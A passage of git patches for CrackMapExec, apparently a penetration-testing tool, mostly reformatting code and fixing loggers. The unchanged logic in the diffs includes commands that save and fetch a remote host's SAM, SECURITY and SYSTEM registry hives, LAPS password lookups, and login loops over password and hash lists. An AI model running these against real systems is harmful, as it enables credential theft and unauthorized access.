smb_conn.getServerName() if not no_ntlm else self.host self.server_os = smb_conn.getServerOS() if isinstance(self.server_os.lower(), bytes): @@ -169,9 +148,7 @@ class winrm(connection): self.logger.extra["hostname"] = self.hostname - self.output_filename = os.path.expanduser( - f"~/.cme/logs/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}" - ) + self.output_filename = os.path.expanduser(f"~/.cme/logs/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}") try: smb_conn.logoff() @@ -193,13 +170,9 @@ class winrm(connection): if self.domain is None: self.domain = "" - self.db.add_host( - self.host, self.port, self.hostname, self.domain, self.server_os - ) + self.db.add_host(self.host, self.port, self.hostname, self.domain, self.server_os) - self.output_filename = os.path.expanduser( - f"~/.cme/logs/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}" - ) + self.output_filename = os.path.expanduser(f"~/.cme/logs/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}") self.output_filename = self.output_filename.replace(":", "-") def laps_search(self, username, password, ntlm_hash, domain): @@ -226,25 +199,17 @@ class winrm(connection): ntlm_hash[0] if ntlm_hash else "", ) if not connection: - self.logger.fail( - "LDAP connection failed with account {}".format(username[0]) - ) + self.logger.fail("LDAP connection failed with account {}".format(username[0])) return False - search_filter = ( - "(&(objectCategory=computer)(|(msLAPS-EncryptedPassword=*)(ms-MCS-AdmPwd=*)(msLAPS-Password=*))(name=" - + self.hostname - + "))" - ) + search_filter = "(&(objectCategory=computer)(|(msLAPS-EncryptedPassword=*)(ms-MCS-AdmPwd=*)(msLAPS-Password=*))(name=" + self.hostname + "))" attributes = [ "msLAPS-EncryptedPassword", "msLAPS-Password", "ms-MCS-AdmPwd", "sAMAccountName", ] - results = connection.search( - searchFilter=search_filter, attributes=attributes, sizeLimit=0 - ) + results = connection.search(searchFilter=search_filter, attributes=attributes, sizeLimit=0) msMCSAdmPwd = "" sAMAccountName = "" @@ -252,20 +217,12 @@ class winrm(connection): from impacket.ldap import ldapasn1 as ldapasn1_impacket - results = [ - r for r in results if isinstance(r, ldapasn1_impacket.SearchResultEntry) - ] + results = [r for r in results if isinstance(r, ldapasn1_impacket.SearchResultEntry)] if len(results) != 0: for host in results: - values = { - str(attr["type"]).lower(): str(attr["vals"][0]) - for attr in host["attributes"] - } + values = {str(attr["type"]).lower(): str(attr["vals"][0]) for attr in host["attributes"]} if "mslaps-encryptedpassword" in values: - self.logger.fail( - "LAPS password is encrypted and currently CrackMapExec doesn't" - " support the decryption..." - ) + self.logger.fail("LAPS password is encrypted and currently CrackMapExec doesn't" " support the decryption...") return False elif "mslaps-password" in values: from json import loads @@ -276,30 +233,17 @@ class winrm(connection): elif "ms-mcs-admpwd" in values: msMCSAdmPwd = values["ms-mcs-admpwd"] else: - self.logger.fail( - "No result found with attribute ms-MCS-AdmPwd or" - " msLAPS-Password" - ) - self.logger.debug( - "Host: {:<20} Password: {} {}".format( - sAMAccountName, msMCSAdmPwd, self.hostname - ) - ) + self.logger.fail("No result found with attribute ms-MCS-AdmPwd or" " msLAPS-Password") + self.logger.debug("Host: {:<20} Password: {} {}".format(sAMAccountName, msMCSAdmPwd, self.hostname)) else: - self.logger.fail( - "msMCSAdmPwd or msLAPS-Password is empty or account cannot read LAPS" - " property for {}".format(self.hostname) - ) + self.logger.fail("msMCSAdmPwd or msLAPS-Password is empty or account cannot read LAPS" " property for {}".format(self.hostname)) return False self.username = self.args.laps if not username else username self.password = msMCSAdmPwd if msMCSAdmPwd == "": - self.logger.fail( - "msMCSAdmPwd or msLAPS-Password is empty or account cannot read LAPS" - " property for {}".format(self.hostname) - ) + self.logger.fail("msMCSAdmPwd or msLAPS-Password is empty or account cannot read LAPS" " property for {}".format(self.hostname)) return False if ntlm_hash: hash_ntlm = hashlib.new("md4", msMCSAdmPwd.encode("utf-16le")).digest() @@ -314,16 +258,12 @@ class winrm(connection): self.logger.display(self.endpoint) else: self.logger.extra["protocol"] = "SMB" - self.logger.display( - f"{self.server_os} (name:{self.hostname}) (domain:{self.domain})" - ) + self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.domain})") self.logger.extra["protocol"] = "HTTP" self.logger.display(self.endpoint) if self.args.laps: - return self.laps_search( - self.args.username, self.args.password, self.args.hash, self.domain - ) + return self.laps_search(self.args.username, self.args.password, self.args.hash, self.domain) return True def create_conn_obj(self): @@ -336,27 +276,18 @@ class winrm(connection): try: self.logger.debug(f"winrm create_conn_obj() - Requesting URL: {url}") res = requests.post(url, verify=False, timeout=self.args.http_timeout) - self.logger.debug( - "winrm create_conn_obj() - Received response code:" - f" {res.status_code}" - ) + self.logger.debug("winrm create_conn_obj() - Received response code:" f" {res.status_code}") self.endpoint = url if self.endpoint.startswith("https://"): - self.logger.extra["port"] = ( - self.args.port if self.args.port else 5986 - ) + self.logger.extra["port"] = self.args.port if self.args.port else 5986 else: - self.logger.extra["port"] = ( - self.args.port if self.args.port else 5985 - ) + self.logger.extra["port"] = self.args.port if self.args.port else 5985 return True except requests.exceptions.Timeout as e: self.logger.info(f"Connection Timed out to WinRM service: {e}") except requests.exceptions.ConnectionError as e: if "Max retries exceeded with url" in str(e): - self.logger.info( - f"Connection Timeout to WinRM service (max retries exceeded)" - ) + self.logger.info(f"Connection Timeout to WinRM service (max retries exceeded)") else: self.logger.info(f"Other ConnectionError to WinRM service: {e}") return False @@ -400,13 +331,9 @@ class winrm(connection): # we could just authenticate without running a command :) (probably) self.conn.execute_ps("hostname") self.admin_privs = True - self.logger.success( - f"{self.domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}" - ) + self.logger.success(f"{self.domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}") - self.logger.debug( - f"Adding credential: {domain}/{self.username}:{self.password}" - ) + self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.password}") self.db.add_credential("plaintext", domain, self.username, self.password) # TODO: when we can easily get the host_id via RETURNING statements, readd this in # host_id = self.db.get_hosts(self.host)[0].id @@ -414,9 +341,7 @@ class winrm(connection): if self.admin_privs: self.logger.debug(f"Inside admin privs") - self.db.add_admin_user( - "plaintext", domain, self.username, self.password, self.host - ) # , user_id=user_id) + self.db.add_admin_user("plaintext", domain, self.username, self.password, self.host) # , user_id=user_id) if not self.args.local_auth: add_user_bh(self.username, self.domain, self.logger, self.config) @@ -424,13 +349,9 @@ class winrm(connection): return True except Exception as e: if "with ntlm" in str(e): - self.logger.fail( - f"{self.domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}" - ) + self.logger.fail(f"{self.domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}") else: - self.logger.fail( - f"{self.domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()} '{e}'" - ) + self.logger.fail(f"{self.domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()} '{e}'") return False @@ -488,9 +409,7 @@ class winrm(connection): # we could just authenticate without running a command :) (probably) self.conn.execute_ps("hostname") self.admin_privs = True - self.logger.success( - f"{self.domain}\\{self.username}:{process_secret(nthash)} {self.mark_pwned()}" - ) + self.logger.success(f"{self.domain}\\{self.username}:{process_secret(nthash)} {self.mark_pwned()}") self.db.add_credential("hash", domain, self.username, nthash) if self.admin_privs: @@ -503,23 +422,16 @@ class winrm(connection): except Exception as e: if "with ntlm" in str(e): - self.logger.fail( - f"{self.domain}\\{self.username}:{process_secret(nthash)}" - ) + self.logger.fail(f"{self.domain}\\{self.username}:{process_secret(nthash)}") else: - self.logger.fail( - f"{self.domain}\\{self.username}:{process_secret(nthash)} '{e}'" - ) + self.logger.fail(f"{self.domain}\\{self.username}:{process_secret(nthash)} '{e}'") return False def execute(self, payload=None, get_output=False): try: r = self.conn.execute_cmd(self.args.execute) except: - self.logger.info( - "Cannot execute command, probably because user is not local admin, but" - " powershell command should be ok!" - ) + self.logger.info("Cannot execute command, probably because user is not local admin, but" " powershell command should be ok!") r = self.conn.execute_ps(self.args.execute) self.logger.success("Executed command") self.logger.highlight(r[0]) @@ -530,15 +442,10 @@ class winrm(connection): self.logger.highlight(r[0]) def sam(self): - self.conn.execute_cmd( - "reg save HKLM\SAM C:\\windows\\temp\\SAM && reg save HKLM\SYSTEM" - " C:\\windows\\temp\\SYSTEM" - ) + self.conn.execute_cmd("reg save HKLM\SAM C:\\windows\\temp\\SAM && reg save HKLM\SYSTEM" " C:\\windows\\temp\\SYSTEM") self.conn.fetch("C:\\windows\\temp\\SAM", self.output_filename + ".sam") self.conn.fetch("C:\\windows\\temp\\SYSTEM", self.output_filename + ".system") - self.conn.execute_cmd( - "del C:\\windows\\temp\\SAM && del C:\\windows\\temp\\SYSTEM" - ) + self.conn.execute_cmd("del C:\\windows\\temp\\SAM && del C:\\windows\\temp\\SYSTEM") local_operations = LocalOperations(f"{self.output_filename}.system") boot_key = local_operations.getBootKey() @@ -552,17 +459,10 @@ class winrm(connection): SAM.export(f"{self.output_filename}.sam") def lsa(self): - self.conn.execute_cmd( - "reg save HKLM\SECURITY C:\\windows\\temp\\SECURITY && reg save HKLM\SYSTEM" - " C:\\windows\\temp\\SYSTEM" - ) - self.conn.fetch( - "C:\\windows\\temp\\SECURITY", f"{self.output_filename}.security" - ) + self.conn.execute_cmd("reg save HKLM\SECURITY C:\\windows\\temp\\SECURITY && reg save HKLM\SYSTEM" " C:\\windows\\temp\\SYSTEM") + self.conn.fetch("C:\\windows\\temp\\SECURITY", f"{self.output_filename}.security") self.conn.fetch("C:\\windows\\temp\\SYSTEM", f"{self.output_filename}.system") - self.conn.execute_cmd( - "del C:\\windows\\temp\\SYSTEM && del C:\\windows\\temp\\SECURITY" - ) + self.conn.execute_cmd("del C:\\windows\\temp\\SYSTEM && del C:\\windows\\temp\\SECURITY") local_operations = LocalOperations(f"{self.output_filename}.system") boot_key = local_operations.getBootKey() diff --git a/cme/protocols/winrm/database.py b/cme/protocols/winrm/database.py index 672fb8d8..4921dd3a 100644 --- a/cme/protocols/winrm/database.py +++ b/cme/protocols/winrm/database.py @@ -73,25 +73,12 @@ class database: def reflect_tables(self): with self.db_engine.connect() as conn: try: - self.HostsTable = Table( - "hosts", self.metadata, autoload_with=self.db_engine - ) - self.UsersTable = Table( - "users", self.metadata, autoload_with=self.db_engine - ) - self.AdminRelationsTable = Table( - "admin_relations", self.metadata, autoload_with=self.db_engine - ) - self.LoggedinRelationsTable = Table( - "loggedin_relations", self.metadata, autoload_with=self.db_engine - ) + self.HostsTable = Table("hosts", self.metadata, autoload_with=self.db_engine) + self.UsersTable = Table("users", self.metadata, autoload_with=self.db_engine) + self.AdminRelationsTable = Table("admin_relations", self.metadata, autoload_with=self.db_engine) + self.LoggedinRelationsTable = Table("loggedin_relations", self.metadata, autoload_with=self.db_engine) except (NoInspectionAvailable, NoSuchTableError): - print( - "[-] Error reflecting tables - this means there is a DB schema mismatch \n" - "[-] This is probably because a newer version of CME is being ran on an old DB schema\n" - "[-] If you wish to save the old DB data, copy it to a new location (`cp -r ~/.cme/workspaces/ ~/old_cme_workspaces/`)\n" - "[-] Then remove the CME DB folders (`rm -rf ~/.cme/workspaces/`) and rerun CME to initialize the new DB schema" - ) + print("[-] Error reflecting tables - this means there is a DB schema mismatch \n" "[-] This is probably because a newer version of CME is being ran on an old DB schema\n" "[-] If you wish to save the old DB data, copy it to a new location (`cp -r ~/.cme/workspaces/ ~/old_cme_workspaces/`)\n" "[-] Then remove the CME DB folders (`rm -rf ~/.cme/workspaces/`) and rerun CME to initialize the new DB schema") exit() def shutdown_db(self): @@ -152,9 +139,7 @@ class database: # TODO: find a way to abstract this away to a single Upsert call q = Insert(self.HostsTable) update_columns = {col.name: col for col in q.excluded if col.name not in "id"} - q = q.on_conflict_do_update( - index_elements=self.HostsTable.primary_key, set_=update_columns - ) + q = q.on_conflict_do_update(index_elements=self.HostsTable.primary_key, set_=update_columns) self.conn.execute(q, hosts) def add_credential(self, credtype, domain, username, password, pillaged_from=None): @@ -215,12 +200,8 @@ class database: # TODO: find a way to abstract this away to a single Upsert call q_users = Insert(self.UsersTable) # .returning(self.UsersTable.c.id) - update_columns_users = { - col.name: col for col in q_users.excluded if col.name not in "id" - } - q_users = q_users.on_conflict_do_update( - index_elements=self.UsersTable.primary_key, set_=update_columns_users - ) + update_columns_users = {col.name: col for col in q_users.excluded if col.name not in "id"} + q_users = q_users.on_conflict_do_update(index_elements=self.UsersTable.primary_key, set_=update_columns_users) self.conn.execute(q_users, credentials) # .scalar() # return user_ids @@ -271,13 +252,9 @@ class database: def get_admin_relations(self, user_id=None, host_id=None): if user_id: - q = select(self.AdminRelationsTable).filter( - self.AdminRelationsTable.c.userid == user_id - ) + q = select(self.AdminRelationsTable).filter(self.AdminRelationsTable.c.userid == user_id) elif host_id: - q = select(self.AdminRelationsTable).filter( - self.AdminRelationsTable.c.hostid == host_id - ) + q = select(self.AdminRelationsTable).filter(self.AdminRelationsTable.c.hostid == host_id) else: q = select(self.AdminRelationsTable) @@ -317,9 +294,7 @@ class database: # if we're filtering by username elif filter_term and filter_term != "": like_term = func.lower(f"%{filter_term}%") - q = select(self.UsersTable).filter( - func.lower(self.UsersTable.c.username).like(like_term) - ) + q = select(self.UsersTable).filter(func.lower(self.UsersTable.c.username).like(like_term)) # otherwise return all credentials else: q = select(self.UsersTable) @@ -328,15 +303,11 @@ class database: return results def is_credential_local(self, credential_id): - q = select(self.UsersTable.c.domain).filter( - self.UsersTable.c.id == credential_id - ) + q = select(self.UsersTable.c.domain).filter(self.UsersTable.c.id == credential_id) user_domain = self.conn.execute(q).all() if user_domain: - q = select(self.HostsTable).filter( - func.lower(self.HostsTable.c.id) == func.lower(user_domain) - ) + q = select(self.HostsTable).filter(func.lower(self.HostsTable.c.id) == func.lower(user_domain)) results = self.conn.execute(q).all() return len(results) > 0 @@ -369,10 +340,7 @@ class database: # if we're filtering by ip/hostname elif filter_term and filter_term != "": like_term = func.lower(f"%{filter_term}%") - q = q.filter( - self.HostsTable.c.ip.like(like_term) - | func.lower(self.HostsTable.c.hostname).like(like_term) - ) + q = q.filter(self.HostsTable.c.ip.like(like_term) | func.lower(self.HostsTable.c.hostname).like(like_term)) results = self.conn.execute(q).all() cme_logger.debug(f"winrm get_hosts() - results: {results}") return results @@ -417,9 +385,7 @@ class database: relation = {"userid": user_id, "hostid": host_id} try: # TODO: find a way to abstract this away to a single Upsert call - q = Insert( - self.LoggedinRelationsTable - ) # .returning(self.LoggedinRelationsTable.c.id) + q = Insert(self.LoggedinRelationsTable) # .returning(self.LoggedinRelationsTable.c.id) self.conn.execute(q, [relation]) # .scalar() # return inserted_ids @@ -427,9 +393,7 @@ class database: cme_logger.debug(f"Error inserting LoggedinRelation: {e}") def get_loggedin_relations(self, user_id=None, host_id=None): - q = select( - self.LoggedinRelationsTable - ) # .returning(self.LoggedinRelationsTable.c.id) + q = select(self.LoggedinRelationsTable) # .returning(self.LoggedinRelationsTable.c.id) if user_id: q = q.filter(self.LoggedinRelationsTable.c.userid == user_id) if host_id: diff --git a/cme/protocols/winrm/db_navigator.py b/cme/protocols/winrm/db_navigator.py index 0d99754f..bf6ec589 100644 --- a/cme/protocols/winrm/db_navigator.py +++ b/cme/protocols/winrm/db_navigator.py @@ -182,9 +182,7 @@ class navigator(DatabaseNavigator): credtype = cred[4] pillaged_from = cred[5] - data.append( - [cred_id, credtype, pillaged_from, domain, username, password] - ) + data.append([cred_id, credtype, pillaged_from, domain, username, password]) print_table(data, title="Credential(s)") data = [["HostID", "IP", "Hostname", "Domain", "OS"]] @@ -226,12 +224,7 @@ class navigator(DatabaseNavigator): print_help(help_string) def do_clear_database(self, line): - if ( - input( - "This will destroy all data in the current database, are you SURE you want to run this? (y/n): " - ) - == "y" - ): + if input("This will destroy all data in the current database, are you SURE you want to run this? (y/n): ") == "y": self.db.clear_database() def help_clear_database(self): diff --git a/cme/servers/http.py b/cme/servers/http.py index d7a17119..6d262b45 100755 --- a/cme/servers/http.py +++ b/cme/servers/http.py @@ -51,9 +51,7 @@ class RequestHandler(BaseHTTPRequestHandler): try: self.server.hosts.remove(self.client_address[0]) if hasattr(self.server.module, "on_shutdown"): - self.server.module.on_shutdown( - self.server.context, self.server.connection - ) + self.server.module.on_shutdown(self.server.context, self.server.connection) except ValueError: pass @@ -67,24 +65,18 @@ class CMEServer(threading.Thread): self.server.hosts = [] self.server.module = module self.server.context = context - self.server.log = CMEAdapter( - extra={"module_name": self.server.module.name.upper()} - ) + self.server.log = CMEAdapter(extra={"module_name": self.server.module.name.upper()}) self.cert_path = os.path.join(os.path.expanduser("~/.cme"), "cme.pem") self.server.track_host = self.track_host logger.debug("CME server type: " + server_type) if server_type == "https": - self.server.socket = ssl.wrap_socket( - self.server.socket, certfile=self.cert_path, server_side=True - ) + self.server.socket = ssl.wrap_socket(self.server.socket, certfile=self.cert_path, server_side=True) except Exception as e: errno, message = e.args if errno == 98 and message == "Address already in use": - logger.error( - "Error starting HTTP(S) server: the port is already in use, try specifying a diffrent port using --server-port" - ) + logger.error("Error starting HTTP(S) server: the port is already in use, try specifying a diffrent port using --server-port") else: logger.error(f"Error starting HTTP(S) server: {message}") @@ -105,9 +97,7 @@ class CMEServer(threading.Thread): def shutdown(self): try: while len(self.server.hosts) > 0: - self.server.log.info( - f"Waiting on {highlight(len(self.server.hosts))} host(s)" - ) + self.server.log.info(f"Waiting on {highlight(len(self.server.hosts))} host(s)") sleep(15) except KeyboardInterrupt: pass diff --git a/cme/servers/smb.py b/cme/servers/smb.py index 2befa078..b89333a5 100755 --- a/cme/servers/smb.py +++ b/cme/servers/smb.py @@ -28,9 +28,7 @@ class CMESMBServer(threading.Thread): except Exception as e: errno, message = e.args if errno == 98 and message == "Address already in use": - logger.error( - "Error starting SMB server on port 445: the port is already in use" - ) + logger.error("Error starting SMB server on port 445: the port is already in use") else: logger.error(f"Error starting SMB server on port 445: {message}") exit(1) diff --git a/tests/e2e_test.py b/tests/e2e_test.py index b94db955..f449e529 100644 --- a/tests/e2e_test.py +++ b/tests/e2e_test.py @@ -5,9 +5,7 @@ from rich.console import Console def get_cli_args(): - parser = argparse.ArgumentParser( - description=f"Script for running end to end tests for CME" - ) + parser = argparse.ArgumentParser(description=f"Script for running end to end tests for CME") parser.add_argument("-t", "--target", dest="target", required=True) parser.add_argument("-u", "--user", "--username", dest="username", required=True) parser.add_argument("-p", "--pass", "--password", dest="password", required=True) @@ -53,12 +51,7 @@ def generate_commands(args): if line.startswith("#"): continue line = line.strip() - line = ( - line.replace("TARGET_HOST", args.target) - .replace("USERNAME", f'"{args.username}"') - .replace("PASSWORD", f'"{args.password}"') - .replace("KERBEROS ", kerberos) - ) + line = line.replace("TARGET_HOST", args.target).replace("USERNAME", f'"{args.username}"').replace("PASSWORD", f'"{args.password}"').replace("KERBEROS ", kerberos) lines.append(line) return lines @@ -75,9 +68,7 @@ def run_e2e_tests(args): ) version = result.communicate()[0].decode().strip() - with console.status( - f"[bold green] :brain: Running {len(tasks)} test commands for cme v{version}..." - ) as status: + with console.status(f"[bold green] :brain: Running {len(tasks)} test commands for cme v{version}...") as status: passed = 0 failed = 0 diff --git a/tests/test_smb_database.py b/tests/test_smb_database.py index cb592426..2fcb5025 100644 --- a/tests/test_smb_database.py +++ b/tests/test_smb_database.py @@ -17,9 +17,7 @@ from sqlalchemy.dialects.sqlite import Insert @pytest.fixture(scope="session") def db_engine(): db_path = os.path.join(WS_PATH, "test/smb.db") - db_engine = create_engine( - f"sqlite:///{db_path}", isolation_level="AUTOCOMMIT", future=True - ) + db_engine = create_engine(f"sqlite:///{db_path}", isolation_level="AUTOCOMMIT", future=True) yield db_engine db_engine.dispose() From 0469e72fa403f51b6d0cb763f572e6cf39b4915e Mon Sep 17 00:00:00 2001 From: mpgn Date: Tue, 9 May 2023 04:26:01 -0400 Subject: [PATCH 50/76] remove black + update connection.py --- .github/workflows/black-formating.yml | 11 -- cme/connection.py | 188 +++----------------------- 2 files changed, 22 insertions(+), 177 deletions(-) delete mode 100644 .github/workflows/black-formating.yml diff --git a/.github/workflows/black-formating.yml b/.github/workflows/black-formating.yml deleted file mode 100644 index babdea8c..00000000 --- a/.github/workflows/black-formating.yml +++ /dev/null @@ -1,11 +0,0 @@ -name: Black-action -on: [push, pull_request] -jobs: - linter_name: - name: runner / black formatter - runs-on: ubuntu-latest - steps: - - uses: actions/checkout@v2 - - uses: rickstaa/action-black@v1 - with: - black_args: ". --line-length 1000 --check" \ No newline at end of file diff --git a/cme/connection.py b/cme/connection.py index fb4d4989..b59f93e3 100755 --- a/cme/connection.py +++ b/cme/connection.py @@ -22,24 +22,10 @@ user_failed_logins = {} def gethost_addrinfo(hostname): try: - for res in getaddrinfo( - hostname, - None, - AF_INET6, - SOCK_DGRAM, - IPPROTO_IP, - AI_CANONNAME, - ): + for res in getaddrinfo( hostname, None, AF_INET6, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME): af, socktype, proto, canonname, sa = res except socket.gaierror: - for res in getaddrinfo( - hostname, - None, - AF_INET, - SOCK_DGRAM, - IPPROTO_IP, - AI_CANONNAME, - ): + for res in getaddrinfo( hostname, None, AF_INET, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME): af, socktype, proto, canonname, sa = res if canonname == "": return sa[0] @@ -255,29 +241,13 @@ class connection(object): if cred_type == "hash" and not self.over_fail_limit(username): if self.args.kerberos: - if self.kerberos_login( - domain, - username, - "", - password, - "", - self.kdcHost, - False, - ): + if self.kerberos_login( domain, username, "", password, "", self.kdcHost, False): return True elif self.hash_login(domain, username, password): return True elif cred_type == "plaintext" and not self.over_fail_limit(username): if self.args.kerberos: - if self.kerberos_login( - domain, - username, - password, - "", - "", - self.kdcHost, - False, - ): + if self.kerberos_login( domain, username, password, "", "", self.kdcHost, False): return True elif self.plaintext_login(domain, username, password): return True @@ -306,61 +276,25 @@ class connection(object): for f_hash in ntlm_hash_file: if not self.over_fail_limit(usr.strip()): if self.args.kerberos: - if self.kerberos_login( - self.domain, - usr.strip(), - "", - f_hash.strip(), - "", - self.kdcHost, - False, - ): + if self.kerberos_login(self.domain,usr.strip(),"",f_hash.strip(),"",self.kdcHost,False): return True - elif self.hash_login( - self.domain, - usr.strip(), - f_hash.strip(), - ): + elif self.hash_login( self.domain, usr.strip(), f_hash.strip()): return True elif self.args.no_bruteforce: user_file.seek(0) # HACK: this should really not be in the usr for loop for usr, f_hash in zip(user_file, ntlm_hash_file): if not self.over_fail_limit(usr.strip()): if self.args.kerberos: - if self.kerberos_login( - self.domain, - usr.strip(), - "", - f_hash.strip(), - "", - self.kdcHost, - False, - ): + if self.kerberos_login( self.domain, usr.strip(), "", f_hash.strip(), "", self.kdcHost, False): return True - elif self.hash_login( - self.domain, - usr.strip(), - f_hash.strip(), - ): + elif self.hash_login( self.domain, usr.strip(), f_hash.strip()): return True else: # ntlm_hash is a string if not self.over_fail_limit(usr.strip()): if self.args.kerberos: - if self.kerberos_login( - self.domain, - usr.strip(), - "", - ntlm_hash.strip(), - "", - self.kdcHost, - False, - ): + if self.kerberos_login( self.domain, usr.strip(), "", ntlm_hash.strip(), "", self.kdcHost, False): return True - elif self.hash_login( - self.domain, - usr.strip(), - ntlm_hash.strip(), - ): + elif self.hash_login( self.domain, usr.strip(), ntlm_hash.strip()): return True elif self.args.password: with sem: @@ -372,27 +306,12 @@ class connection(object): if not self.over_fail_limit(usr.strip()): if hasattr(self.args, "domain"): if self.args.kerberos: - if self.kerberos_login( - self.domain, - usr.strip(), - f_pass.strip(), - "", - "", - self.kdcHost, - False, - ): + if self.kerberos_login( self.domain, usr.strip(), f_pass.strip(), "", "", self.kdcHost, False): return True - elif self.plaintext_login( - self.domain, - usr.strip(), - f_pass.strip(), - ): + elif self.plaintext_login( self.domain, usr.strip(), f_pass.strip()): return True else: - if self.plaintext_login( - usr.strip(), - f_pass.strip(), - ): + if self.plaintext_login( usr.strip(), f_pass.strip()): return True elif self.args.no_bruteforce: user_file.seek(0) # HACK: this should really not be in the usr for loop @@ -400,41 +319,18 @@ class connection(object): if not self.over_fail_limit(usr.strip()): if hasattr(self.args, "domain"): if self.args.kerberos: - if self.kerberos_login( - self.domain, - usr.strip(), - f_pass.strip(), - "", - "", - self.kdcHost, - False, - ): + if self.kerberos_login( self.domain, usr.strip(), f_pass.strip(), "", "", self.kdcHost, False): return True - elif self.plaintext_login( - self.domain, - usr.strip(), - f_pass.strip(), - ): + elif self.plaintext_login( self.domain, usr.strip(), f_pass.strip()): return True else: - if self.plaintext_login( - usr.strip(), - f_pass.strip(), - ): + if self.plaintext_login( usr.strip(), f_pass.strip()): return True else: # password is a string if not self.over_fail_limit(usr.strip()): if hasattr(self.args, "domain"): if self.args.kerberos: - if self.kerberos_login( - self.domain, - usr.strip(), - password, - "", - "", - self.kdcHost, - False, - ): + if self.kerberos_login( self.domain, usr.strip(), password, "", "", self.kdcHost, False): return True elif self.plaintext_login(self.domain, usr.strip(), password): return True @@ -450,30 +346,14 @@ class connection(object): for f_hash in ntlm_hash_file: if not self.over_fail_limit(user): if self.args.kerberos: - if self.kerberos_login( - self.domain, - user, - "", - ntlm_hash.strip(), - "", - self.kdcHost, - False, - ): + if self.kerberos_login( self.domain, user, "", ntlm_hash.strip(), "", self.kdcHost, False): return True elif self.hash_login(self.domain, user, f_hash.strip()): return True else: # ntlm_hash is a string if not self.over_fail_limit(user): if self.args.kerberos: - if self.kerberos_login( - self.domain, - user, - "", - ntlm_hash.strip(), - "", - self.kdcHost, - False, - ): + if self.kerberos_login( self.domain, user, "", ntlm_hash.strip(), "", self.kdcHost, False): return True elif self.hash_login(self.domain, user, ntlm_hash.strip()): return True @@ -486,15 +366,7 @@ class connection(object): if not self.over_fail_limit(user): if hasattr(self.args, "domain"): if self.args.kerberos: - if self.kerberos_login( - self.domain, - user, - f_pass.strip(), - "", - "", - self.kdcHost, - False, - ): + if self.kerberos_login( self.domain, user, f_pass.strip(), "", "", self.kdcHost, False): return True elif self.plaintext_login(self.domain, user, f_pass.strip()): return True @@ -505,15 +377,7 @@ class connection(object): if not self.over_fail_limit(user): if hasattr(self.args, "domain"): if self.args.kerberos: - if self.kerberos_login( - self.domain, - user, - password, - "", - "", - self.kdcHost, - False, - ): + if self.kerberos_login( self.domain, user, password, "", "", self.kdcHost, False): return True elif self.plaintext_login(self.domain, user, password): return True @@ -524,15 +388,7 @@ class connection(object): with sem: for aesKey in self.args.aesKey: if not self.over_fail_limit(user): - if self.kerberos_login( - self.domain, - user, - "", - "", - aesKey.strip(), - self.kdcHost, - False, - ): + if self.kerberos_login( self.domain, user, "", "", aesKey.strip(), self.kdcHost, False): return True def mark_pwned(self): From 07b6921777cfe8b063ced87a0d3f3b9d9e865afc Mon Sep 17 00:00:00 2001 From: Marshall Hallenbeck Date: Tue, 9 May 2023 09:50:56 -0400 Subject: [PATCH 51/76] fix(smamruser): properly use protocol's logger --- cme/protocols/smb/samruser.py | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/cme/protocols/smb/samruser.py b/cme/protocols/smb/samruser.py index 8412604e..8ac85835 100644 --- a/cme/protocols/smb/samruser.py +++ b/cme/protocols/smb/samruser.py @@ -7,8 +7,6 @@ from impacket.dcerpc.v5.rpcrt import DCERPCException from impacket.dcerpc.v5.rpcrt import DCERPC_v5 from impacket.nt_errors import STATUS_MORE_ENTRIES -from cme.logger import cme_logger - class UserSamrDump: KNOWN_PROTOCOLS = { @@ -17,7 +15,7 @@ class UserSamrDump: } def __init__(self, connection): - self.logger = cme_logger + self.logger = connection.logger self.addr = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain self.protocol = connection.args.port self.username = connection.username From 59d82f1be38abcc37f0c4e50590f82a9459de203 Mon Sep 17 00:00:00 2001 From: Marshall Hallenbeck Date: Tue, 9 May 2023 09:55:10 -0400 Subject: [PATCH 52/76] fix(logger): properly use protocol logger, falling back to cme_logger --- cme/protocols/smb.py | 2 ++ cme/protocols/smb/passpol.py | 2 +- cme/protocols/smb/samrfunc.py | 6 ++++-- cme/protocols/smb/smbexec.py | 3 ++- cme/protocols/smb/wmiexec.py | 3 ++- 5 files changed, 11 insertions(+), 5 deletions(-) diff --git a/cme/protocols/smb.py b/cme/protocols/smb.py index 0767cce0..8772e15e 100755 --- a/cme/protocols/smb.py +++ b/cme/protocols/smb.py @@ -941,6 +941,7 @@ class smb(connection): self.kdcHost, self.hash, self.args.share, + logger=self.logger ) self.logger.info("Executed command via wmiexec") break @@ -999,6 +1000,7 @@ class smb(connection): self.kdcHost, self.hash, self.args.share, + self.logger ) self.logger.info("Executed command via smbexec") break diff --git a/cme/protocols/smb/passpol.py b/cme/protocols/smb/passpol.py index e97f3e9c..b519708f 100644 --- a/cme/protocols/smb/passpol.py +++ b/cme/protocols/smb/passpol.py @@ -71,7 +71,7 @@ class PassPolDump: } def __init__(self, connection): - self.logger = cme_logger + self.logger = connection.logger self.addr = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain self.protocol = connection.args.port self.username = connection.username diff --git a/cme/protocols/smb/samrfunc.py b/cme/protocols/smb/samrfunc.py index cfa84f7e..623a1728 100644 --- a/cme/protocols/smb/samrfunc.py +++ b/cme/protocols/smb/samrfunc.py @@ -16,7 +16,7 @@ from cme.logger import cme_logger class SamrFunc: def __init__(self, connection): - self.logger = cme_logger + self.logger = connection.logger self.addr = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain self.protocol = connection.args.port self.username = connection.username @@ -50,6 +50,7 @@ class SamrFunc: remote_name=self.addr, remote_host=self.addr, kerberos=self.doKerberos, + logger=self.logger ) def get_builtin_groups(self): @@ -207,6 +208,7 @@ class LSAQuery: remote_name="", remote_host="", 